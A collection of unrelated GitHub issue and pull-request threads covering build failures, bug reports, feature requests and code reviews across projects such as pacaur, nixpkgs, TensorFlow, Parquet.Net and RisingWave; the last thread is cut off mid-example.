I've been quite lazy recently and haven't took time to look deeper in cower dep solver at the moment, feel free to open a ticket about it. From what I recall, cower solver doesn't compute deps in the correct topological order, making it effectively useless for automated build.

What also makes things harder is that pkgbase doesn't have to match any of the given pkgnames. I've added a cheap solution for aurqueue/aurchain by replacing pkgname in the download list with pkgbase. aurqueue
However, I don't know if that helps with your use case, as I assume you need the split package names to avoid conflicts when installing split packages?

No, conflicts are actually directly handled by makepkg. What pacaur does is precomputing the conflicts to display them to the user before the main prompt, and later on the conflicts prompts are bypassed automatically with the --ask hidden parameter of makepkg. Conflicts order is thus not needed, as long as the dependency order (pkgname) is correct.
The current implementation requires quite a lot of computation, but on the bright side it actually handles the pkgname/pkgbase quite well, even if both are different. And to be honest, I'm not convinced anymore that using tsort would result in a cleaner implementation... :/

Closing as "Wontfix". I don't see a real possible improvement here without a design change, which might very well not be worth it anyway. Speed wise, there are others I/O bottlenecks (mostly expac calls) and gain would be marginal.

Reopening. I've locally implemented tsorting instead of the brute force method. Currently in a very raw state, needs a lot of code cleanup and optimization. Split packages support should be checked, and thourough benchmarking should be done to see if this is actually worth having in common cases.
Currently, for plasma-git-meta: 35s vs 62s for 4.6.4 (with providers and conflict checks disabled).

A complete around tsort might also be useful to help implement #173.

Done in 2c2ba9a28fc1423dafa02564caab4ee749762dc2. Seems okay, but I kinda expect some breakage.

Fixed in 992eff77fc26febcbaecaf1f69bfe50f87e64b33.


WHen recording multiple tracks at once, only first one can be heard or its regions dragged

When recording more than one track at once, three are recorded apparently, but only the first one can be played back. Recorded regions of other tracks are not draggable too. If we drag the region from track one to the other tracks, then, this region becomes non draggable and non hearable too.

Isn't this one closed?


Adds some details for the Hipchat Enterprise

Coming soon via https://github.com/RocketChat/Rocket.Chat/pull/5052

Do not merge this until https://github.com/RocketChat/Rocket.Chat/pull/5052 gets merged.


Change addon name to Simplified Shape Creation

The repository will not be renamed until the first release with his change, which will be 3.0.0 because it includes breaking changes to the namespace.

#77


dotnet-sdk_7: 7.0.405 -> 7.0.406

Description of changes
https://github.com/dotnet/core/releases/tag/v7.0.16
Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
24.05 Release Notes (or backporting 23.05 and 23.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Currently working through an issue with ICU on my aarch64-darwin system. Not sure if it's a problem elsewhere.

is there a known issue with icu on master right now? Build is failing with:
error: builder for '/nix/store/dfzn0bwpll2lhalys3mhzhdqg0j6xbn7-dotnet-sdk-7.0.406.drv' failed with exit code 134;
       last 10 log lines:
       > no Makefile or custom buildPhase, doing nothing
       > Running phase: installPhase
       > Running phase: fixupPhase
       > checking for references to /private/tmp/nix-build-dotnet-sdk-7.0.406.drv-0/ in /nix/store/gg3nx9fr6f13bqgs6m10y6lrndf4fa3q-dotnet-sdk-7.0.406...
       > patching script interpreter paths in /nix/store/gg3nx9fr6f13bqgs6m10y6lrndf4fa3q-dotnet-sdk-7.0.406
       > stripping (with command strip and flags -S) in  /nix/store/gg3nx9fr6f13bqgs6m10y6lrndf4fa3q-dotnet-sdk-7.0.406/bin
       > rewriting symlink /nix/store/gg3nx9fr6f13bqgs6m10y6lrndf4fa3q-dotnet-sdk-7.0.406/bin/dotnet to be relative to /nix/store/gg3nx9fr6f13bqgs6m10y6lrndf4fa3q-dotnet-sdk-7.0.406
       > Running phase: installCheckPhase
       > Could not load ICU data. UErrorCode: 2
       > /nix/store/zzgwc93q7ycxwks9743f0900i1lagc98-stdenv-darwin/setup: line 1587: 55745 Abort trap: 6           $out/bin/dotnet --info
       For full logs, run 'nix log /nix/store/dfzn0bwpll2lhalys3mhzhdqg0j6xbn7-dotnet-sdk-7.0.406.drv'.
error: 1 dependencies of derivation '/nix/store/4kd15phziph9zzj4srikz26hpd654r43-dotnet-build-hook.drv' failed to build
error: 1 dependencies of derivation '/nix/store/1c6z2aqnf5h0f2vq7hq4v3m12v028k49-dotnet-check-hook.drv' failed to build
error: 1 dependencies of derivation '/nix/store/dy23r4yi1d8p8vlh97q3ibcdwxwy44nk-dotnet-install-hook.drv' failed to build

I don't have the time to figure out why the ICU thing is broken so I'm going to close this.


Polyfilled matchMedia never matches float "max-width" queries

Whenever passing a float as the value of a max-width query, matches returns false even when the test should pass. Tested this with both px and em based queries.
Expected behavior:
// After polyfilling matchMedia
window.innerWidth = 700;
window.outerWidth = 700;

window.matchMedia('(max-width: 2.5em)').matches; // => true

Actual behavior:
// After polyfilling matchMedia
window.innerWidth = 700;
window.outerWidth = 700;

window.matchMedia('(max-width: 2.5em)').matches; // => false
window.matchMedia('(max-width: 3em)').matches; // => true

To add to the above, float min-width queries always match

Was there any movement on this?


Improved const extraction for function expressions and arrow functions

The behavior applies if the function:

is contextually typed (because otherwise no type annotation for the variable would have been generated anyway)
is not generic
doesn't have parameters inferred as any

If these conditions are met, we add missing parameters type and we add this parameter to the function (if the function signature as a this parameter).
Fixes #32257

@RyanCavanaugh  @DanielRosenwasser  Not sure who to ping about this. If there is anything I can do to move this along let me know.

Thanks, looks great.


support for port 0

I want to run multiple instances of grip at the same time.
Manually selecting port every time is tedious, so I thought I'll let my OS choose it for me by using port 0.
This works very well through API:
$ python -c 'from grip import serve; serve(port=0)'
 * Running on http://localhost:35739/ (Press CTRL+C to quit)

But it doesn't work on the command-line:
$ grip . 0
 * Running on http://0:6419/ (Press CTRL+C to quit)

(Um, no, that's not what I wanted! :unamused:)
$ grip . localhost:0
Error: Invalid address 'localhost:0'
 * Running on http://localhost:6419/ (Press CTRL+C to quit)

(Still not what I wanted…)

Didn't know about this! Very cool. Fixed in #196.

Thanks for the issue, @jwilk!

FYI this was released with v4.3.1.


[MINOR] improve(server): Add return value to server rpc audit log

What changes were proposed in this pull request?
Add return value for server rpc audit log
Why are the changes needed?
With the return value, we can know clear about the effect of the rpc call.
E.g. A bundle of requireBuffer calls appear in the rpc audit log, then followed some sendShuffleData rpc call with requireBufferId, but we don't know which requireBuffer call match the sendShuffleData call.
With this PR, we record the requireBufferId also which generated by requireBuffer call, and search the sendShuffleData call with the requireBufferId, this can be possible.
Does this PR introduce any user-facing change?
No.
How was this patch tested?
Test Locally.

@jerqi Thanks for your suggestion, i have modified the related code. PTAL

@jerqi Thanks for your review!


In the vignette, there is no need to log10s the MACS score

MACS scores are already int(-10*log10pvalue), no need to re-apply a log10 transformation.
using_epistack.Rmd#L340, and also lines 361 et 384.
Thanks @IStevant for the tip.

Fix in https://github.com/GenEpi-GenPhySE/epistack/commit/0702312d0d4546f7d20e46694ba586f0986af30a


[Bug][Master][Fixes 14216]workflow state keep READY_STOP when sub_process state …

workflow state keep READY_STOP when sub_process state STOP
Fixes #14216
workflow  not remove from program cache, I fix it

Codecov Report

Merging #14221 (d385d83) into dev (1011852) will decrease coverage by 0.03%.
The diff coverage is 0.00%.

:exclamation: Current head d385d83 differs from pull request most recent head 6618dd7. Consider uploading reports for the commit 6618dd7 to get more accurate results

@@             Coverage Diff              @@
##                dev   #14221      +/-   ##
============================================
- Coverage     38.37%   38.34%   -0.03%
+ Complexity     4475     4467       -8
============================================
  Files          1229     1229
  Lines         42935    42891      -44
  Branches       4763     4734      -29
============================================
- Hits          16475    16447      -28
+ Misses        24635    24619      -16
  Partials       1825     1825

Impacted Files
Coverage Δ

...api/service/impl/ProcessDefinitionServiceImpl.java
35.35% <0.00%> (ø)

.../server/master/runner/WorkflowExecuteRunnable.java
10.32% <0.00%> (+<0.01%)
:arrow_up:

...ler/plugin/task/api/enums/TaskExecutionStatus.java
59.09% <0.00%> (-1.38%)
:arrow_down:

...scheduler/plugin/task/api/k8s/AbstractK8sTask.java
0.00% <0.00%> (ø)

... and 39 files with indirect coverage changes
:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more

I had rerun de fail e2e case.

LGTM, rerun failed CI


ts will complain transaction result is possibly 'null'

Using the code https://github.com/redis/ioredis#transaction as an example,
let tmp = await redis
  .multi()
  .set("foo", "bar")
  .get("foo")
  .exec()

 console.log(tmp[0][1])

I will get ts error error TS18047: 'tmp' is possibly 'null'.
But why ?

Stumbled across this as also has this type error show up and wanted to check how to appropriately handle it. Can't say I found the exact explanation but it looks like the type signature is correct based on when a transaction fails there's a test which asserts on the result being null. Unsure if this is the only situation when it can occur or not however.


Investigate if the Mono specific verticals for which a non Mono specific vertical with the same RID exists can be removed

Examples:

https://github.com/dotnet/dotnet/blob/96c9d4a0e3a67edfb5a2a8653488dbe0b64f1b70/src/installer/eng/pipelines/templates/stages/vmr-build.yml#L792-L803
https://github.com/dotnet/dotnet/blob/96c9d4a0e3a67edfb5a2a8653488dbe0b64f1b70/src/installer/eng/pipelines/templates/stages/vmr-build.yml#L768-L778
https://github.com/dotnet/dotnet/blob/96c9d4a0e3a67edfb5a2a8653488dbe0b64f1b70/src/installer/eng/pipelines/templates/stages/vmr-build.yml#L817-L828
https://github.com/dotnet/dotnet/blob/96c9d4a0e3a67edfb5a2a8653488dbe0b64f1b70/src/installer/eng/pipelines/templates/stages/vmr-build.yml#L700-L710

Ideally runtime packs for all runtimes (coreclr, mono and nativeaot) are produced in a single vertical.
cc @directhex @akoeplinger

@jkoritzinsky do you know if we already produce runtime packs for all runtimes by default? I assume runtime's official build currently also has separate Mono legs?

We need separate legs for targets where we have more than one of CoreCLR, NativeAOT, and Mono as we use the same sfxproj project files to define Microsoft.NETCore.App and we use the same code in many places to put the runtime files where expected for various layout (and testing) scenarios. We'd need to duplicate quite a bit of our infrastructure to handle building CoreCLR and Mono packs in the same build for the same RID.

In terms of shipping code, it's just sfxproj projects and how they pick up runtime bits. We can duplicate the sfxproj projects to allow us to build both CoreCLR and Mono for the sfxproj projects, but I'd want to make sure we consider the local dev experience (where we'd never build them twice) and also how we flow the assets. Maybe we can build the same projects twice (one for each RuntimeFlavor) and avoid duplicating too much.

I see that NativeAOT builds a bit differently and uses the pkgproj infra instead of the sfxproj one.

Maybe we can build the same projects twice (one for each RuntimeFlavor) and avoid duplicating too much.

Yes, I think that would the preferred option. We would need to make sure that the (base)intermediateoutputpath and baseoutputpath encode the runtimeflavor so that we don't cause restore or incremental build issues.

I'd want to make sure we consider the local dev experience (where we'd never build them twice)

Locally when invoking build.cmd or build.sh, both runtimes already get built by default. If only sfxprojs packages for runtime get created today then that sounds to me more like an infrastructure issues than an intentional design point. As an example, other nuget packages for coreclr and mono already get created, it's just the sfxproj nuget packages that don't get created for both runtimes.

Yeah I think the issue is mostly the packaging projects. We already need to make hacky workarounds to build the runtime packs correctly (search for BuildNativeAotRuntimePack in the runtime repo), it'd be nice to clean all of that up so that we build to distinct paths for all runtime flavors.


Reorder Items

Major "code smell":
My reordering algorithm is really simple: it just gets all the items that will need their order changed, updates them and puts the updated items to the database. Because of the last step I initially decided to make the reordering function asynchronous (since our database method are, at the current moment, all asynchronous). However, this introduced an inconsistently appearing visual bug (in the screen recording, at about 14 seconds, when I move the item "4"):

I realized this bug is probably due to the fact that the onReorder callback of the reorderables is called synchronously (so the reordering work is not "awaited" to be completed before the reorderable rebuilds).
I ended up making the reordering work synchronous and changing the last step of the algorightm to call (but not await) the DatabaseManager.putItems method. I had to do a little more weaving to get this to work.
All this to say, I looked at the code and think it would be more convenient if we made all (or most) of our database methods synchronous. Should we do this? Maybe in another issue? (Also, should I have already done it in this branch?)
Closes #40

It generally is a good idea to stick with async code. It might make sense to do the refactor in this case. That's a major change though, so we should not bog down this MR. Remember, smaller MRs are much better than bigger MRs.
Sometimes it even makes sense to use multiple MRs to complete one issue, breaking the changes into separate chunks that go in each MR. This makes code review much easier and quicker.

Don't worry about changing any of the code until I get a chance to look at it

Hmmm something isn't working quite right
I start with a two item list

I drag "Test" to the top and get this

This error is in the logs:
The following assertion was thrown while routing a pointer event:
'package:lists/model/list_model.dart': Failed assertion: line 93 pos 12: 'oldOrder < items.length &&
oldOrder >= 0': is not true.

Can you look into it? I'll take a look at the code after #41 is completed.

Ah, I think I found the problem. The order property for each item is loaded from isar, but any items created in previous versions of the app won't have their order stored in the database. If you create a new list and add items to it, you should be able to reorder them.
It would also be possible to write some quick and dirty code which would assign an order to items that don't have it.

Many files have merge conflicts.

The functionality works great! :smile:

I will review the code after you resolve the conflicts.

Merged! :tada:

There is no need for your order logic to be so strict about order being between 0 and the length of the list.
You can simplify the logic by removing the restriction. order can be any integer.

@tycebrown I created some changes that remove the need for reorderItems to be synchronous.
https://github.com/Pertempto/Lists/pull/54 will merge into your branch. Please review it and merge if it works well on your end.

I'm not sure why checkable items show up like this on Android

All that is left here is fixing the visual glitch with checkbox items.

All that is left here is fixing the visual glitch with checkbox items.

Hmm... they show up fine in linux. I'll test on an android device...

I can reproduce on android. Looking into it...


New WinGet package manifest for The Silver Searcher

Submitting The Silver Searcher version 2.2.3.yaml
Microsoft Reviewers: Open in CodeFlow

The validation has started 5 hours ago, and is obviously hung.
What can we do to diagnose what's going wrong?

On my system, the winget install -m 2.2.3.yaml test command triggers a Windows Defender SmartScreen security popup. Clicking "More Info" then "Run Anyway" allows the installation to complete successfully.
Why is it so?
Because I don't get that security popup when I run the ag_setup.exe command directly.
Could it be the reason why your verification process hung for about 10 hours?

No, you probably missed my previous comment:
As the verification had obviously hung, I experimented with signing the program. Which indeed broke the sha256.
I just reverted the ag_setup.exe binary back to its original version, so the sha256 is now correct again. Please have a look now that this is fixed, and tell me what caused the original validation to hang.


Transform methods entirely undocumented

There's various transforms that can be configured in, they're all undocumented.

http://opencolorio.org/developers/bindings/PythonTransforms.html
Is this not sufficient? Please point out specific cases for where documentation is lacking.

It lists API calls, it does not list what values functions take, and what those mean.

For example say a transform is listed as: - ! {allocation: uniform, vars: [0, 0.66]}. The configuration syntax documentation doesn't list what that does. The same goes for ! {allocation: lg2, vars: [-12.473931188, 12.526068812], direction: inverse} or ! {src: BT.1886_to_Linear.spi1d, interpolation: linear}. I can guess half of what they do, but it doesn't say so in the documentation. It also doesn't say where the difference is between interpolation methods like "best" or "linear". I guess best is a cubic spline, or something, again, not in the documentation.

Allocation "documentation" exists here: http://opencolorio.org/configurations/allocation_vars.html
I agree they should be centralized, and logically organized. I cannot find documentation on the interpolation methods.

I think that's what threw me off, I glanced at it, and could not find some logical listing of "you can use this directive with these options".

http://opencolorio.org/userguide/config_syntax.html#available-transforms


Ability to collect more than one sample of test data.

Not sure how / where these would be displayed.

Presumably, this would also involve a way to save and load these multiple samples of test data. This should also give us the ability to load test data derived from online data sources (although it will need to be converted to our format).


onend for groups?

Hi, another question: I'm about to use grouped sounds. And it works perfectly. But how can I detect the end of the group? On individual sounds there is the function
sound.on('end', ()=>{console.log('finished')});.
But what about groups? I noticed that this function does not work on groups. So how can I detect that the group has stopped playing?

As I could not find an eventlistener for a group of sounds, I simply avoid using groups. For those ones interested:
let sound1 = new Pizzicato.Sound('file1.mp3', () => {
    let sound2 = new Pizzicato.Sound('file2.mp3', () => {
        sound1.play();
        sound2.play();
        sound2.on('end', () => {
            console.log('sounds stopped playing');
        });
    });
});

At least in my case it is a workaround. Though I would appreciate if there would be a listener for a group, like
group.on('end', ()=>{console.log('finished');});

This looks like an interesting feature - adding the same events we have for Sound objects for the Group objects as well.


fix index of physical coordinates in some bns surface kernels

Nice catch. Part of the downside to having these BoundaryCondition functions be defines is that we miss if some terms aren't scoped/declared properly. Switching to actual device functions may fix that.

There may have been issues with the OKL parser that resulted in this choice.

Nice catch. Part of the downside to having these BoundaryCondition functions be defines is that we miss if some terms aren't scoped/declared properly. Switching to actual device functions may fix that.

There may have been issues with the OKL parser that resulted in this choice.

That and/or OpenCL device function argument issues


Create Manuchim.json

Fixes Issue

Changes proposed

Check List (Check all the applicable boxes)

[ ] My code follows the code style of this project.
[ ] My change requires changes to the documentation.
[ ] I have updated the documentation accordingly.
[ ] All new and existing tests passed.
[ ] This PR does not contain plagiarized content.
[ ] The title of my pull request is a short description of the requested changes.

Screenshots

Note to reviewers

@mxnuchim I think you should close #1255


Segmentation Fault with tf.io.decode_csv , numpy record_defaults and tensor input

System information

Have I written custom code (as opposed to using a stock example script provided in TensorFlow):
No
OS Platform and Distribution (e.g., Linux Ubuntu 16.04):
Ubuntu 16.04.4 LTS on Windows Linux SubSystem
Mobile device (e.g. iPhone 8, Pixel 2, Samsung Galaxy) if the issue happens on mobile device:
n/a
TensorFlow installed from (source or binary):
binary
TensorFlow version (use command below):
'2.0.0-preview' / "b'v1.12.0-6503-g7cfe43a11d'"
Python version:
Python 3.6.7
Bazel version (if compiling from source):
GCC/Compiler version (if compiling from source):
CUDA/cuDNN version: No
GPU model and memory: No

You can collect some of this information using our environment capture script
You can also obtain the TensorFlow version with
python -c "import tensorflow as tf; print(tf.GIT_VERSION, tf.VERSION)" => this doesn't work, you mean tf.version.x
Describe the current behavior
Segmentation fault (core dumped)
Describe the expected behavior
prints result
Code to reproduce the issue
import numpy as np
import tensorflow as tf
record_defaults=np.zeros(5)
parsed_fields = tf.io.decode_csv(tf.constant('1,2,3,4,5'), record_defaults)

Other info / logs
Include any logs or source code that would be helpful to diagnose the problem. If including tracebacks, please include the full traceback. Large logs and files should be attached.
It's fine with either tf.constants for record defaults or plain string to decode, eg:
parsed_fields = tf.io.decode_csv('1,2,3,4,5', record_defaults)

Numpy version:
numpy                     1.16.0          py36_blas_openblash1522bff_1000  [blas_openblas]  conda-forge

I can confirm that I could reproduce this issue on MacOSX 10.13.6, python 3.6.8, TF version 2.0.0-dev20190126, git version b'v1.12.0-6726-g5522d670af', installed using pip3 install -U tf-nightly-2.0-preview.
The decode_csv() function expects the record_defaults to be an array of tensors, so replacing np.zeros(5) with [tf.constant(0.)]*5 (or even with [0.]*5) solves the problem, but still segmentation faults should never happen.

I can reproduce this on a recent nightly in eager mode.  In graph mode, a shape inference check raises a safe failure exceptio.


Improve Vagrant plugin's logging

This PR makes the vagrant plugin's stderr/stdout streamable to the logging output.  This improves the overall usability of the plugin since there won't be a long delay when the code is trying to buffer up the entire command's output.  It is now possible to watch in the console what vagrant is actually doing.
Signed-off-by: David Chung<EMAIL_ADDRESS>

Please sign your commits following these rules:
https://github.com/docker/docker/blob/master/CONTRIBUTING.md#sign-your-work
The easiest way to do this is to amend the last commit:
$ git clone -b "stream-vagrant-output" git@github.com:chungers/infrakit.git somewhere
$ cd somewhere
$ git rebase -i HEAD~842353674872
editor opens
change each 'pick' to 'edit'
save the file and quit
$ git commit --amend -s --no-edit
$ git rebase --continue # and repeat the amend for each commit
$ git push -f

Amending updates the existing PR. You DO NOT need to open a new one.


Need ability to write custom metadata (key:value) for DataField

Hi Team,
I have a scenario where I am generating Parquet file using Parquet.Net. This Parquet file will be consumed by a System that uses PySpark. In PySpark, when the read the file schema, the schema json for the fields is read as [{'name': 'abc', 'type': 'string', 'nullable': True, 'metadata': {}}, {'name': 'def', 'type': 'string', 'nullable': True, 'metadata': {} }, {'name': 'xyz', 'type': 'decimal(38,18)', 'nullable': True, 'metadata': {}}]. I am looking for the ability to populate the metadata attribute as
metadata: {'desc':'sample desc' , 'comment' : 'sample comment'}. I downloaded the code base for Parquet.Net and tried to populate the values in Column Chunk's ColumnMetaData key value pairs but that did not seem to work. Can we get this functionality added?
Thanks,
Ratul

ParquetWriter/Reader has metadata field you can write/read.

@aloneguid Thanks for your reply. I am still not sure which meta data field you are referring to. I have never worked with parquet files before. I need different meta data for each column. Something like
[{'name': 'abc', 'type': 'string', 'nullable': True, 'metadata': {'desc':'sample desc' , 'comment' : 'sample comment'}}, {'name': 'def', 'type': 'string', 'nullable': True, 'metadata': {'desc':'sample desc 1' , 'comment' : 'sample comment 1'} }, {'name': 'xyz', 'type': 'decimal(38,18)', 'nullable': True, 'metadata': {'desc':'sample desc 2' , 'comment' : 'sample comment 2'}}]

Parquet.Net supports file metadata only, as there is no such thing as column metadata. The format itself allows to assign metadata per column chunk, meaning each column can have many chunks with totally different metadata in every row group. I'm not quite sure what pyspark code you've shown will do, is it going to write the same metadata in all column chunks and all row groups, or is it just the first one? In any way the behaviour is inconclusive.

I am actually trying to read the schema using PySpark
df = spark.read.parquet(Input_ParquetFile)
schema_json = df.schema.jsonValue()
This outputs the schema as
StructType([
StructField(name='a_field', dataType=IntegerType(), nullable=False, metadata={}),
StructField(name='b_field', dataType=StringType(), nullable=True, metadata={})
])
I am assuming this indicates meta data at column chunk level. I was trying to see how to populate this meta data in the schema for files generated using Parquet.Net. As per your previous comment, it seems Parquet.Net only allows meta data at file level. Thanks for the clarification.

I would also like to add custom metadata (filemetadata). I see the "CustomMetadata" property on ThriftFooter and beleive thats the one to use, only problem is that this property is hidden (private) with the current api

Latest version has CustomMetadata on both ParquetReader/Writer.

I'm having a hard time adding CustomMetada to a parquet file.  I want to write new metadata to that file. Do you have an example of how this would work?

But the CustomMetadata property on  ParquetWriter has the type IReadOnlyDictionary - how can you change/add any of the values and how would these changes be committed to the file?

But the CustomMetadata property on ParquetWriter has the type IReadOnlyDictionary - how can you change/add any of the values and how would these changes be committed to the file?

The property type is IReadOnlyDictionary but the property itself is writable.  Create your own dictionary and assign it.  I have tested this and it works fine.
I think it would be good to be able to write the equivalent custom metadata in column chunks though. I require metadata for each column, whilst I can encode this at file level it will be a little cumbersome.
I think that the column metadata should be copied to each chunk for the column, this will allow the reader to skip chunks without losing the metadata.


Getting ip from websocket

I've been having trouble getting the ip address of a given client id, which is particularly important if you need to log certain actions related to payments, etc. Any tips would be greatly appreciated.

You can have a look at https://github.com/kelunik/demo-chat/blob/3a27358972c1a9d6ac4d96147ee928e449568e2f/src/Chat.php#L36 to see how to get the client IP. I'll review our documentation soon and add it if it's missing there.

Thanks for the quick response, that was exactly what I needed!

I added an example to http://amphp.org/docs/aerys/websocket/handshake.html, but it's probably not the right place to explain it. Where did you expect to find this information?

@kelunik It applies to Request object in general. There's no direct mention of it in the tutorial. Now you added it, but it should be probably added to the general http(-advanced??) docs.


Compute node cann't recovery itself after debugging

Describe the bug
A clear and concise description of what the bug is.
I use vscode to debug the compute node, and i set some breakpoints and start debugging. After some minutes, when i return from the breakpoints, the compute node reports error,
and it seems that it cann't recovery itself from the error.

To Reproduce
Steps to reproduce the behavior.
Expected behavior
A clear and concise description of what you expected to happen.
Additional context
Add any other context about the problem here.

Could you share the breakpoints you set?

My breakpoints:

By the way, it's very easy to trigger this bug on my laptop. It seems doesn't relevant to breakpoints. As soon as i am in debug mode for more than one minutes, the compute node will trigger the error.

Thie enviornment is macOS montery version 12.1.
Risingwave version bd10ebdc4c401071e6c01ca2118360b8a4a34c3e.
The SQL is
select lower('-1');

I didn't run any other SQL before.

Same for me

I cannot reproduce it on linux. I tried ./risedev dev dev-compute-node and use gdb to run compute-node.
@xiaoyong-z How do you set up the cluster to reproduce the errors? Also, can you share the meta node logs?

meta node logs:
2022-05-09T13:46:10.859267Z  INFO risingwave_meta: Meta server listening at <IP_ADDRESS>:5690
2022-05-09T13:46:10.872675Z DEBUG risingwave_meta::hummock::hummock_manager: Release context 0
2022-05-09T13:46:10.875122Z  INFO risingwave_meta::barrier: Starting barrier manager with: interval=100ms, enable_recovery=true
2022-05-09T13:46:10.876258Z  INFO risingwave_meta::rpc::metrics: Prometheus listener for Prometheus is set up on http://<IP_ADDRESS>:1250
2022-05-09T13:46:10.876599Z  INFO risingwave_meta::hummock::compaction_scheduler: Start compaction scheduler.
2022-05-09T13:46:10.878100Z  WARN risingwave_meta::hummock::compaction_scheduler: No compactor is available.
2022-05-09T13:46:10.878966Z DEBUG risingwave_meta::barrier::recovery: recovery start!
2022-05-09T13:46:10.879497Z DEBUG risingwave_meta::barrier::recovery: all compute nodes have been reset.
2022-05-09T13:46:10.879952Z DEBUG risingwave_meta::barrier::recovery: recovery success
2022-05-09T13:46:18.115601Z  INFO risingwave_meta::hummock::compactor_manager: Added compactor 1
2022-05-09T13:48:13.879682Z  WARN risingwave_meta::cluster: Deleted expired worker 1 <IP_ADDRESS>:5688; expired at<PHONE_NUMBER>, now<PHONE_NUMBER>
2022-05-09T13:48:13.879860Z  INFO risingwave_meta::hummock::compactor_manager: Removed compactor 1
2022-05-09T13:48:13.880000Z DEBUG risingwave_meta::hummock::hummock_manager: Release context 1
2022-05-09T13:48:20.877078Z  WARN risingwave_meta::hummock::compaction_scheduler: No compactor is available.
2022-05-09T13:48:30.878028Z  WARN risingwave_meta::hummock::compaction_scheduler: No compactor is available.
2022-05-09T13:48:40.876959Z  WARN risingwave_meta::hummock::compaction_scheduler: No compactor is available.
2022-05-09T13:48:50.877027Z  WARN risingwave_meta::hummock::compaction_scheduler: No compactor is available.
2022-05-09T13:49:00.877189Z  WARN risingwave_meta::hummock::compaction_scheduler: No compactor is available.
2022-05-09T13:49:10.877206Z  WARN risingwave_meta::hummock::compaction_scheduler: No compactor is available.
2022-05-09T13:49:20.877205Z  WARN risingwave_meta::hummock::compaction_scheduler: No compactor is available.
2022-05-09T13:49:30.876421Z  WARN risingwave_meta::hummock::compaction_scheduler: No compactor is available.
2022-05-09T13:49:40.876581Z  WARN risingwave_meta::hummock::compaction_scheduler: No compactor is available.

I guess it's because the worker is deleted (risingwave_meta::cluster: Deleted expired worker) and currently there's no re-register for temporarily disconnected node.


How can i remove the text box when i convert PDF To word?

many many text box in docx  files

Sorry this is due to libreoffice backend, nothing we can do from our side


Is there a 1.16.3 release date?

Is there a 1.16.3 release date and will there be a mod for it?

The 1.16.2 version works for 1.16.3.

The 1.16.2 version works for 1.16.3.

i dont know the problems is, but i have the same seed in the overworld, nether and end

It works in 1.16.3.

It works in 1.16.3.

is there a way to solve the problem with the same seed in nether and overworlde? Plus both are wrong

Do you even know how seed work?

Most likely no

Why are you using SeedCracker if you don't? Seeds are SUPPOSED to be the same yes.

Sorry, but I didn't understand what you said (google translator). I just want the seed cracker to work.. Really sorry for wasting your time

If that I have a different seed even in a singleplayer. Made 10 worlds, all different. It never happened before

different worlds have different seeds. overworld nether and end have the same seed(modded may be different).

I know that worlds have different seeds. And I'm not sure about the same seed for overworld, nether and end. But what you said won't solve my problem


Refactor RemoteStoreRefreshListenerTests to use listener from IndexShard

Is your feature request related to a problem? Please describe
https://github.com/opensearch-project/OpenSearch/pull/12157#discussion_r1477719763
Describe the solution you'd like
Test should use RemoteStoreRefreshListener instance from IndexShard
Related component
Storage:Durability
Describe alternatives you've considered
No response
Additional context
No response

[Triage - attendees 1 2 3 4]
@sachinpkale Thanks for creating this issue; however, it isn't being accepted due to not having enough details in this issue. Please feel free to re-open after addressing the reason.


Hint: Compile keyboard layout

I've edited the Keyboard Layout Wiki entry to use compiled keyboard layouts. This helps catching errors at build-time and improves startup performance.
Maybe you'd want to use this in your config.

Nice! Might do that later

Not relevant anymore, switched to a more standard keyboard layout configuration


Addressed Buildifier lint issues and enabled Buildifier check in CI pipeline.

Closes #126

Ran //:buildifier.fix on the codebase.
Addressed issues uncovered by running //:buildifier.check.
Enabled CI pipeline action to run //:buildifier.check.

@brentleyjones It looks like I do not have permission to merge the PR. Could you do so or provide me with merge permission? Thanks.

Sorry. I spaced out. I just saw your other comments. Let me take a look at them.

@cgrindel And you should have permission to merge now.


CUDA out of memory error, can i use shared GPU memory instead of dedicated?

Im running on an RTX 2060 with 6GB Vram which is probably not enough as generating any image size causes an out of memory error, people said that 8GB is roughly the minimum required to run this AI, i have 8GB of shared video memory, so can the AI access the shared video memory instead of strictly staying on the dedicated memory?

Hi! You can just use the PR of mine in #60, there I added the option to reduce num_cutouts. That will enable you to reduce the VRAM usage by setting it as low as 16.

have you found something? :D


Bug: ADT is set to NA when start_date is missing

What happened?
When using derive_param_tte() the ADT variable is set to NA if start_date is missing for that subject even though there is an event with a valid date.
Session Information
R version 4.2.1 (2022-06-23)
Platform: aarch64-apple-darwin20 (64-bit)
Running under: macOS Monterey 12.6

Matrix products: default
LAPACK: /Library/Frameworks/R.framework/Versions/4.2-arm64/Resources/lib/libRlapack.dylib

locale:
[1] en_US.UTF-8/en_US.UTF-8/en_US.UTF-8/C/en_US.UTF-8/en_US.UTF-8

attached base packages:
[1] stats     graphics  grDevices utils     datasets  methods   base

other attached packages:
[1] admiral_0.8.3

loaded via a namespace (and not attached):
 [1] rstudioapi_0.14  magrittr_2.0.3   hms_1.1.2        tidyselect_1.2.0 R6_2.5.1         rlang_1.0.6      fansi_1.0.3      stringr_1.4.1    dplyr_1.0.10     tools_4.2.1      utf8_1.2.2       cli_3.4.1        DBI_1.1.3        withr_2.5.0
[15] ellipsis_0.3.2   assertthat_0.2.1 tibble_3.1.8     lifecycle_1.0.3  tidyr_1.2.1      purrr_0.3.5      vctrs_0.4.1      glue_1.6.2       admiraldev_0.1.0 stringi_1.7.8    compiler_4.2.1   pillar_1.8.1     generics_0.1.3   lubridate_1.8.0
[29] pkgconfig_2.0.3

Reproducible Example
library(admiral)

adsl <- structure(list(STUDYID = structure("GSK123456", label = "Study Identifier"),
    USUBJID = structure("GSK123456-1101", label = "Unique Subject Identifier"),
    ARMCD = structure("P", label = "Planned Arm Code"), ACTARM = structure("Placebo", label = "Description of Actual Arm"),
